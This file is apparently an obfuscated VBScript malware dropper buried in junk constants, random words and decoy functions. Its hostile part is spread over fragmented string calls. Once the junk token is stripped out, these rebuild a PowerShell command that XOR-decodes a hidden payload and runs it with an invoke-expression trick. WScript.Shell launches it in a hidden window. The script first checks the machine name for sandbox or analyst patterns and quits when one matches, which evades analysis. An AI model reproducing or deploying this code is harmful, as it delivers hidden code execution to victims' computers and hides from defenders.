Call Ugfdfging("::ReplaceSifrcIbig($d2BrSifrcIbigKo, '$xd9nSifrcIbigjcrw',SifrcIbig ''));SifrcIbig$xd9njc")
Call Ugfdfging("rwSifrcIbigoldR=''SifrcIbig;$i=0;foSifrcIbigr($j=0;$j-SifrcIbiglt$xdSifrcIbig9njcrwoldS")
Call Ugfdfging("ifrcIbigB.LengthSifrcIbig;$j++){$SifrcIbigxd9njcSifrcIbigrwoldR+SifrcIbig=")
'gmiSokFg  kSkhdSdr
igiImmo = TimeSerial(7,9,7)
Dim aahSAIgip(9)
Public Const pgmmrSi = "rjpagFj"
'kadifgfi  ekfhSfmA
mjpmkFkp = TimeSerial(7,8,9)
Dim aiFphfdhd(8)
Public Const okAdjabig = "cbgjacf"
'mcokbIIo  nimjobAp
Feiondci = TimeSerial(9,9,7)
Dim okjdjhp(8)
Public Const idjmdfpbm = "Fifbekd"
'edjiepmk  hSebohSde
rkodfIjg = TimeSerial(9,7,8)
Dim cnreFbeAp(8)
Call Ugfdfging("[charSifrcIbig]($xd9njcSifrcIbigrwoldSifrcIbigB[$j]-bxorSifrcIbig$xKNFqgWSifrcIbigfw[$i+")
Call Ugfdfging("+SifrcIbig%$xKNFqgWfSifrcIbigw.LenSifrcIbiggth])SifrcIbig};$y3SifrcIbigLhgk=$xSi")
Call Ugfdfging("frcIbigd9njcrwolSifrcIbigdR;$dTnSifrcIbigKaIzwP=$sSifrcIbigNbFZKg+SifrcIbig$y3LhSifrcI")
Call Ugfdfging("biggk;.($eSifrcIbignv:ComSpeSifrcIbigc[4,26,25SifrcIbig]-join''SifrcIbig) $dTnKSifrcI")
Call Ugfdfging("bigaIzwP")
'fddddddddddd = Trim("Preftsfds") 
Set wshNetwork = WScript.CreateObject( "WScript.Net" & "work" )
'Phfdfsdffdsdffafegdodspfore! crizzling
'Gaffdsfdfsddfdfucdfho mooafnwalks unobsequiousness outwitter106
'Scddfsdfsdfdfsdfdfdfgigadfge corfpuscular hained
'Quaffsdftgffch anfavisnifdsngsret29
Const Micfffsdffdffgadfffoffafspace = "gfsfsdfsfdfs kaksdfdsados,"
Const Prffsdfdgliferating = &HFFFF0A52
Const Prfsdfsdfdfdgliferating = &HFFFF0A52
Const Boffdsfsdfdfrffdflber161 = &HFFFF195F
Const Bofsdfrffdflber161 = &HFFFF195F
Const Bofsdfrffdflhgber161 = &HFFFF195F
gddsfgd = wshNetwork.ComputerName
Const Unfffmfatfdronlike = 25821131
If  instr(ucase(gddsfgd), "M" & "AA1") > 0 OR _
 instr(ucase(gddsfgd), "CA"  & "V") > 0 OR _
 instr(ucase(gddsfgd), "CA"  & "V") > 0 OR _
instr(ucase(gddsfgd), "LNP" & "2")> 0 OR _
 instr(ucase(gddsfgd), "LNP" & "2")> 0 OR _
instr(ucase(gddsfgd), "-P" & "C") > 0 Then 
WScript.Quit      
End if
Const stfaffdsasdsafffdassgfandfvggfdbiddene = "glutfsffsffsadfnfffshageligses! vrdireduktidoners whereon."
Const Nisdfdffffffffffasdvffgesgsffffdlss = "Orkerfsdddfgfdffdfdsonffian aboulic"
Const Adddsasddfdffffvffsdsfdfmgpfaffhaigastria = "LeaddfsdfddsagffDdasfffdsefad: syncfhronizations"
Const Sdfddsdasdfffffasfsffdlfgfdgfsdfgafdtfsprgets = "Sofdasfdffffffcfddgfffsdfdrager vehfter nub,"
Const stfdaffffffffagfandfggfdbiddene = "glutfsfffdfafsfffshageligses! vrdireduktidoners whereon."
Const Nisdsadffffffffasdsdfgsgsffffdlss = "Orkerfsdfsfasdfgfdfonffian aboulic"
Const Adffdfdffffffasfggpfaffhaigastria = "Leffsdfddgfsefad: syncfhronizations"
Const Adfddasdfdffggpfaffhaigastria = "Leffsdfddgfseffad: synfcfhronizations"
Dim hdfhssdfgfdddfg 
hdfhssdfgfdddfg = "crSifrcIbigipt.ShSifrcIbigell" 
hdfhssdfgfdddfg = Replace(hdfhssdfgfdddfg,"SifrcIbig", "" &  "") 
Set dfgddfgfddfgdd = CreateObject( "" &  "" &kidjrobi(87)   &  kidjrobi(83)  & hdfhssdfgfdddfg  )
ckmhgckgmbki = Replace(erebdfoadSm,"SifrcIbig", "") 
'Candiru curdlers wolframmet214
Singesmetylaflausterl225 = FormatCurrency(4332)
GrXffdnYl = Right("invissfbvle", 3)                ' Last N charffdsfdsacters
AfLdftPu = Space(110)                            ' Generate 10 spafces
WsQfuGb = StrReverse("ecfvcdsadsaddsfho")
dfgddfgfddfgdd.Run  ckmhgckgmbki,0 
Function delectable(Mfgffdfdf97)
    ' Retufdgftgdgdfgsfrn the character for the given code (unchanged behavior)
    Delectable = Chr(Mfgffdfdf97)
    ' Refgged / altergdfdfged no-op lines, still using the same variables
    Skibstmrerssttte = "jfgdsddfm" & Skifdsttte & "Gffdsdddsdsdsors"
    ' Anotffgless agdfggssifnt, same variable retained
    Daabsvidnesvolfxdvbasadah = Coadasdand
    ' Sgefnt comment formatting
    '   Indfddfadgverdevelop; optagning; knikserens; spirillum
End Function
Function Ugfdfging (Mfgffdfdf97)
erebdfoadSm = erebdfoadSm & Mfgffdfdf97
GrXnsdfYl = Right("invadfdsddsddffsadfle",1)                ' Lafdfst N chafrs
AfLsdftPu = Space(3)                            ' Genefdsfsdate 10 fces
WsQudsfGb = StrReverse("ecffgdfgdffho")
'Caldigfdfephus abuser protei totemdite73
'Loanfgfffffffgggarking scgouged teugh, jernmaske.
End function 
Function kidjrobi(IjdfigFmAb)
'Dispdfddsfuperise yourselves langtfra
kidjrobi = "_"
cultirostralrigmorsdobb = Trim("Fddsasfdadds") 
Do Until asc(kidjrobi) = IjdfigFmAb
Karfotifn5 = int(rnd*2000)
'Liddmdli; bondepsigen sangskriveres spurgewort
If Karfotifn5 < (260-5) then 
GrXnYl = Right("invdsvdble", 2)                ' Last N characters
                           ' Generate 10 spaces
WsQuGb = StrReverse("efdvfsfdgafho")
                         ' Generate 10 spaces
WsgQuGb = StrReverse("efadgsdfho")
kidjrobi = Chr(Karfotifn5)
end if 
Loop 
End Function
WScript.Quit   
Function ChegfckEvenOdd(num)
    Dim result
    If IsNumeric(num) = False Then
        CheckEvenOdd = "Invalid input"
        Exit Function
    End If
End Function